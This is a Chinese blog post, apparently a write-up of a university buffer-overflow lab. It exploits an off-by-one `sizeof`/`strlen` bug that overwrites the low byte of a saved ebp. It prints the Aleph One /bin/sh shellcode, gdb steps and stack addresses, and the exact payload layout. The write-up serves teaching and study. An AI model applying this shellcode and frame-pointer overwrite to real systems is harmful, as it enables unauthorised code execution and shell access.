缓冲区溢出实验 2 sizeof/strlen
实验环境、代码、及准备
https://www.cnblogs.com/lqerio/p/12870834.html
vul2
下面只给出有漏洞部分的代码。Vul2问题为sizeof函数在计算时会考虑最后的/0占一字节而strlen不会,同时for循环中用的是i<=,导致虽然nstrcpy函数做了len和out1的比较,但是从argv拷贝到buf数组时,最多可以拷贝201字节,多拷贝的1字节覆盖掉foo函数ebp的最低字节。利用这一点可以实现溢出攻击。
shellcode(构造过程)
原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到 0 的地方改成用 xor eax,eax,这样可以避免复制字符串时遇到/0 中断。
下面的shellcode长度为45字节(不含/0)
/*
* Aleph One shellcode.
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
exploit2
根据1.2vul2的分析和内存栈的知识可知,内存中由高到低为foo的ebp和buf数组的200字节,构造的payload为201字节,payload[200]覆盖到ebp的低位。需要知道buf的起始地址和ebp的值。
Gdb调试vul2
Gdb ./vul2
Disas foo
得到bar地址 0x804851a
先随便填exploits的payload,先填200字节。调试exploit2
gdb -e exploit2 -s /tmp/vul2
b *0x804851a
r
打印ebp和buf值,得到如图结果。Buf范围为 0xbffffcb8-0xbffffd80 200字节。Ebp为0xbffffd8c。如果覆盖掉ebp最后一字节为00,改变ebp为0xbffffd00,那么ret存放地址位0xbffffd04-0xbffffd08,注意小端。D04-cb8=4c=76字节。
故payload构造方式:15字节nop+45字节shellcode+16字节nop+4字节返回地址(buf起始地址)+120字节nop+0x00
运行
最新文章
- vuejs的使用方法
- BZOJ1055: [HAOI2008]玩具取名
- Hiho coder 1236 2015 北京网络赛 Score
- c++调用lua注册的带参数的回调
- Jquery.cookie.js 源码和使用方法
- Android获取时间
- 栈的存储结构和常见操作(c 语言实现)
- android media server 解析1-media player service 结构部分
- css扁平化博客学习总结(四)content代码实现
- POJ - 3608 Bridge Across Islands【旋转卡壳】及一些有趣现象
- Git客户端SourceTree回滚到远程仓库和切换分支
- Gronwall型不等式
- jmeter--001.介绍、下载与安装
- mybatis通用mapper源码解析(一)
- [React] 01 - Intro: javaScript library for building user interfaces
- asp.net 中日期的格式化显示的方法
- 查询删除安装rpm -qa | grep -i wrapname
- Vmware-虚拟机中ubuntu不能联网问题的解决——NAT方式
- WebService 初步入门的理解
- 《Hadoop应用开发技术详解》